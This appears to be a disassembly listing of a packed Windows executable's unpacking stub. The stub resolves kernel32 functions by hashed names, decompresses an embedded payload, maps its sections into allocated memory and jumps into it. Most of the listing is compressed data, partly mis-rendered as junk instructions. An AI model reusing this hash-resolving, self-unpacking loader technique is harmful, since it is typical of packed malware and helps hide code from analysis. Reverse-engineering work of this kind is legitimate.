; ---------------------------------------------------------------------------
dw 4800h
dd 0A1004610h, 6B7C80B6h, 656E7265h, 2E32336Ch, 6C6C64h
; ---------------------------------------------------------------------------
loc_4614C0: ; CODE XREF: .data:00461465j
call sub_461761
loc_4614C5: ; CODE XREF: .data:loc_4614A8j
cld
lea esi, [ebp+8Ch]
lodsd
or eax, eax
jz short loc_4614EC
mov edi, eax
mov ecx, 0Ch
rep movsb
jmp short loc_4614EC
; ---------------------------------------------------------------------------
dd offset sub_401000
dd 32C44328h, 80A21119h, 0C6FCF2BBh
; ---------------------------------------------------------------------------
loc_4614EC: ; CODE XREF: .data:004614CFj
; .data:004614DAj
mov [ebp+429h], esp
push 40h
push 1000h
push dword ptr [ebp+408h]
push 0
call dword ptr [ebp+3F0h]
mov [ebp+1CCh], eax
mov ebx, [ebp+400h]
add ebx, [ebp+40Dh]
push eax
push ebx
call sub_461624
push 40h
push 1000h
push dword ptr [ebp+408h]
push 0
call dword ptr [ebp+3F0h]
mov [ebp+431h], eax
mov [ebp+1D0h], eax
mov eax, fs:0
mov [ebp+42Dh], eax
mov edx, [ebp+5Bh]
mov eax, [ebp+1D0h]
mov [edx], eax
mov eax, [ebp+408h]
mov [edx+4], eax
lea eax, [ebp+39Fh]
mov eax, [eax+55h]
mov [edx+8], eax
mov eax, [ebp+3ECh]
mov [edx+10h], eax
mov eax, [ebp+3E8h]
mov [edx+14h], eax
mov edx, [ebp+1CCh]
mov ebx, 1F8h
loc_461589: ; CODE XREF: .data:004615ADj
mov edi, [edx+ebx+0Ch]
or edi, edi
jz short loc_4615AF
mov ecx, [edx+ebx+10h]
or ecx, ecx
jz short loc_4615AA
add edi, [ebp+1D0h]
mov esi, [edx+ebx+14h]
add esi, edx
sar ecx, 2
rep movsd
loc_4615AA: ; CODE XREF: .data:00461597j
add ebx, 28h
jmp short loc_461589
; ---------------------------------------------------------------------------
loc_4615AF: ; CODE XREF: .data:0046158Fj
mov eax, [ebp+1CCh]
push eax
mov edx, [ebp+1D0h]
push edx
mov ebx, [eax]
add ebx, edx
mov eax, [ebp+3E4h]
mov [ebx], eax
mov eax, [ebp+3E8h]
mov [ebx+4], eax
mov eax, [ebp+3ECh]
mov [ebx+8], eax
pop edi
pop esi
mov eax, [esi+4]
add eax, edi
mov [ebp+1C7h], eax
mov edx, [ebp+5Bh]
mov eax, [ebp+1C7h]
mov [edx+0Ch], eax
lea ebx, [ebp+40Dh]
push ebx
push 0
push 0
push 1
push edi
mov ebx, [esi+8]
add ebx, edi
push ebx
push 8000h
push 0
push esi
call dword ptr [ebp+3F4h]
push 3CE000h
retn
; ---------------------------------------------------------------------------
dd 370000h, 3A0000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_461624 proc near ; CODE XREF: .data:0046151Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
push ebp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_461632: ; CODE XREF: sub_461624:loc_461641j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_461638: ; CODE XREF: sub_461624+72j
; sub_461624+B7j ...
add dl, dl
jnz short loc_461641
mov dl, [esi]
inc esi
adc dl, dl
loc_461641: ; CODE XREF: sub_461624+16j
jnb short loc_461632
add dl, dl
jnz short loc_46164C
mov dl, [esi]
inc esi
adc dl, dl
loc_46164C: ; CODE XREF: sub_461624+21j
jnb short loc_461698
xor eax, eax
add dl, dl
jnz short loc_461659
mov dl, [esi]
inc esi
adc dl, dl
loc_461659: ; CODE XREF: sub_461624+2Ej
jnb loc_461735
add dl, dl
jnz short loc_461668
mov dl, [esi]
inc esi
adc dl, dl
loc_461668: ; CODE XREF: sub_461624+3Dj
adc eax, eax
add dl, dl
jnz short loc_461673
mov dl, [esi]
inc esi
adc dl, dl
loc_461673: ; CODE XREF: sub_461624+48j
adc eax, eax
add dl, dl
jnz short loc_46167E
mov dl, [esi]
inc esi
adc dl, dl
loc_46167E: ; CODE XREF: sub_461624+53j
adc eax, eax
add dl, dl
jnz short loc_461689
mov dl, [esi]
inc esi
adc dl, dl
loc_461689: ; CODE XREF: sub_461624+5Ej
adc eax, eax
jz short loc_461693
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_461693: ; CODE XREF: sub_461624+67j
mov [edi], al
inc edi
jmp short loc_461638
; ---------------------------------------------------------------------------
loc_461698: ; CODE XREF: sub_461624:loc_46164Cj
mov eax, 1
loc_46169D: ; CODE XREF: sub_461624:loc_4616B1j
add dl, dl
jnz short loc_4616A6
mov dl, [esi]
inc esi
adc dl, dl
loc_4616A6: ; CODE XREF: sub_461624+7Bj
adc eax, eax
add dl, dl
jnz short loc_4616B1
mov dl, [esi]
inc esi
adc dl, dl
loc_4616B1: ; CODE XREF: sub_461624+86j
jb short loc_46169D
sub eax, 2
jnz short loc_4616E0
mov ecx, 1
loc_4616BD: ; CODE XREF: sub_461624:loc_4616D1j
add dl, dl
jnz short loc_4616C6
mov dl, [esi]
inc esi
adc dl, dl
loc_4616C6: ; CODE XREF: sub_461624+9Bj
adc ecx, ecx
add dl, dl
jnz short loc_4616D1
mov dl, [esi]
inc esi
adc dl, dl
loc_4616D1: ; CODE XREF: sub_461624+A6j
jb short loc_4616BD
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_461638
; ---------------------------------------------------------------------------
loc_4616E0: ; CODE XREF: sub_461624+92j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4616EE: ; CODE XREF: sub_461624:loc_461702j
add dl, dl
jnz short loc_4616F7
mov dl, [esi]
inc esi
adc dl, dl
loc_4616F7: ; CODE XREF: sub_461624+CCj
adc ecx, ecx
add dl, dl
jnz short loc_461702
mov dl, [esi]
inc esi
adc dl, dl
loc_461702: ; CODE XREF: sub_461624+D7j
jb short loc_4616EE
cmp eax, 7D00h
jnb short loc_461725
cmp eax, 500h
jb short loc_461720
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_461638
; ---------------------------------------------------------------------------
loc_461720: ; CODE XREF: sub_461624+ECj
cmp eax, 7Fh
ja short loc_461728
loc_461725: ; CODE XREF: sub_461624+E5j
add ecx, 2
loc_461728: ; CODE XREF: sub_461624+FFj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_461638
; ---------------------------------------------------------------------------
loc_461735: ; CODE XREF: sub_461624:loc_461659j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_461751
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_461638
; ---------------------------------------------------------------------------
loc_461751: ; CODE XREF: sub_461624+119j
pop ebp
sub edi, [ebp+arg_4]
mov [ebp+var_4], edi
popa
pop ebp
retn 8
sub_461624 endp
; ---------------------------------------------------------------------------
db 1Ch, 26h, 80h
db 7Ch
; =============== S U B R O U T I N E =======================================
sub_461761 proc near ; CODE XREF: .data:loc_4614C0p
arg_20 = dword ptr 24h
mov eax, [esp+arg_20]
sub_461761 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_461765 proc near ; CODE XREF: .data:0046147Cp
and eax, 0FFFF0000h
add eax, 10000h
loc_46176F: ; CODE XREF: sub_461765+14j
sub eax, 10000h
cmp word ptr [eax], 5A4Dh
jnz short loc_46176F
loc_46177B: ; CODE XREF: .data:00461498p
pusha
mov [ebp+3F8h], eax
mov edx, eax
mov ebx, eax
add eax, [eax+3Ch]
add ebx, [eax+78h]
mov [ebp+30Dh], ebx
lea ebx, [ebp+3CCh]
lea edi, [ebp+3E4h]
loc_46179E: ; CODE XREF: sub_461765+4Dj
mov esi, [ebx]
mov [ebp+37Ch], esi
call sub_4617B6
stosd
add ebx, 4
cmp dword ptr [ebx], 0
jnz short loc_46179E
popa
retn
sub_461765 endp
; =============== S U B R O U T I N E =======================================
sub_4617B6 proc near ; CODE XREF: sub_461765+41p
var_4 = dword ptr -4
pusha
mov ebx, [ebp+30Dh]
mov ecx, [ebx+20h]
add ecx, edx
loc_4617C2: ; CODE XREF: sub_4617B6+21j
mov esi, [ecx]
add esi, edx
call sub_4617FA
mov edi, 49CD75CEh
cmp eax, edi
jz short loc_4617D9
add ecx, 4
jmp short loc_4617C2
; ---------------------------------------------------------------------------
loc_4617D9: ; CODE XREF: sub_4617B6+1Cj
sub ecx, [ebx+20h]
sub ecx, edx
shr ecx, 1
add ecx, [ebx+24h]
add ecx, edx
movzx ecx, word ptr [ecx]
shl ecx, 2
add ecx, [ebx+1Ch]
add ecx, edx
mov ecx, [ecx]
add ecx, edx
mov [esp+20h+var_4], ecx
popa
retn
sub_4617B6 endp
; =============== S U B R O U T I N E =======================================
sub_4617FA proc near ; CODE XREF: sub_4617B6+10p
push edx
mov edx, 9C3B248Eh
loc_461800: ; CODE XREF: sub_4617FA+1Dj
lodsb
or al, al
jz short loc_461819
xor dl, al
mov al, 8
loc_461809: ; CODE XREF: sub_4617FA+1Bj
shr edx, 1
jnb short loc_461813
xor edx, 0C1A7F39Ah
loc_461813: ; CODE XREF: sub_4617FA+11j
dec al
jnz short loc_461809
jmp short loc_461800
; ---------------------------------------------------------------------------
loc_461819: ; CODE XREF: sub_4617FA+9j
xchg eax, edx
pop edx
retn
sub_4617FA endp
; ---------------------------------------------------------------------------
dd 0B72551A7h, 0A7493BF0h, 90190257h, 74EE3213h, 49CD75CEh
dd 0
dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 7C809A51h, 7C809AE4h
dd 7C800000h, 14E00h, 61B1Ch, 158F2h, 30000h, 2 dup(40000000h)
dd 3 dup(0)
dd 1D0E800h, 0
dd 12FFA400h, 12FFE000h, 3A000000h, 100000h, 1A40000h
dd 0D2C900h, 1C00000h, 1C0000h, 145300h, 1E00000h, 1100000h
dd 5EDE00h, 4Dh dup(0)
dd 2000h, 8, 6 dup(0)
dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 61A10h, 619FCh, 3 dup(0)
dd 61AB4h, 61AD9h, 3 dup(0)
dd 61ABFh, 61AE1h, 3 dup(0)
db 0CCh
db 1Ah, 6, 0
; ---------------------------------------------------------------------------
jmp loc_4620BB
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h
dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 56000000h, 61697261h
dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
dd 74706563h, 6E6F69h, 0
dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h
dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h
dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h
dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch
dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah
dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h
dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah
dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h
dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h
dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h
dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h
dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h
dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h
dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h
dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h
dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h
dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h
dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h
dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h
dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h
dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch
dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h
dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h
dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h
dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h
; ---------------------------------------------------------------------------
push es
jz short loc_4620E6
loc_4620BB: ; CODE XREF: .data:00461A9Cj
rol dword ptr [eax], cl
mov ebp, [ecx]
jmp short loc_4620C6
; ---------------------------------------------------------------------------
align 2
dw 0B844h
db 89h, 0
; ---------------------------------------------------------------------------
loc_4620C6: ; CODE XREF: .data:004620BFj
dec edi
dec ebp
mov ecx, 208F5CF1h
test [ebx], eax
fcmovne st, st(2)
pop ds
mov dh, 59h
retn
; ---------------------------------------------------------------------------
align 2
dw 64B4h
dd 0B1892E39h, 0B2A5032Dh, 0F6B80811h
; ---------------------------------------------------------------------------
adc al, 49h
loc_4620E6: ; CODE XREF: .data:004620B9j
add dl, dh
dec eax
cmp al, 33h
inc eax
add ebp, ebx
xchg eax, esp
add [edx-6Bh], bh
pop es
mov ss, word ptr [edx-73h]
pop esp
add dword ptr [eax], 0EA9CEC28h
push 7F196626h
dec ebx
add [edi+edi*8+32h], ah
xor ecx, [ecx+30DA22h]
; ---------------------------------------------------------------------------
db 8Fh, 28h, 68h
dd 3D800301h, 65700041h, 230A7E16h, 5D000713h, 6F8861EFh
dd 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h
dd 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh, 0F482C080h
dd 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h
dd 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah, 87299707h
dd 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h, 53001BC4h
dd 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah, 0E068815Eh
dd 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah
dd 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h, 117FDE4h
dd 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h
dd 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch, 83390980h
dd 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h
dd 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h, 0EBF48100h
dd 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h
dd 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h, 0EE030772h
dd 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h, 31185B9h
dd 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch, 7C0010FAh
dd 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h
dd 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh
dd 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h
dd 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h, 13010D84h
dd 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h
dd 9149200h, 31742506h, 47F2Ah, 0A154B0DAh, 0AE802B64h
dd 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h
dd 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh, 2B64FE8h
dd 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h
dd 3E5A250Bh, 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h
dd 4600FC32h, 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h
dd 13B34503h, 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h
dd 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h
dd 91925304h, 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h
dd 822CF4h, 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h
dd 705AF813h, 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h
dd 0F82CEF9Eh, 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h
dd 2C0239BAh, 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh
dd 359AD285h, 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h
dd 1D5C890Dh, 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h
dd 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch
dd 84EF0017h, 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h
dd 8E099200h, 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h
dd 84421500h, 7448C51h, 591913CAh, 0A8870EAFh, 78962640h
dd 6B050969h, 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h
dd 8CE30835h, 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h
dd 297B0099h, 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h
dd 0E8170781h, 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h
dd 5EDF6Dh, 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h
dd 0C96C0094h, 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h
dd 0D7396C4h, 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h
dd 2E527FE1h, 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh
dd 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h
dd 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h
dd 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh
dd 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h
dd 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah
dd 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h
dd 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh
dd 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h
dd 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch
dd 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h, 24C3838Eh
dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h
dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h
dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h
dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh
dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h
dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h
dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh
dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h
dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h
dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch
dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
dd 0F9D8E924h
dd 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h, 983D00E7h
dd 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h
dd 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h, 0CB0126C3h
dd 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh
dd 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h
dd 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h, 0DD105180h
dd 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh
dd 3916D7D8h, 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh
dd 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h, 1950000Fh
dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch
dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch
dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h
dd 4FE255Fh, 1B1CC7FAh, 88508043h, 62070414h, 84135640h
dd 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h
dd 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h, 800EE25h
dd 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh, 92148D03h
dd 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh, 3513F300h
dd 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh
dd 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h, 0B7E00F67h
dd 6BF04500h, 3663CC0h, 0D2F23EEEh, 40401E9Ch, 1F4558Bh
dd 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh
dd 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh, 5B0C001Eh
dd 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h, 1CA959h
dd 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h
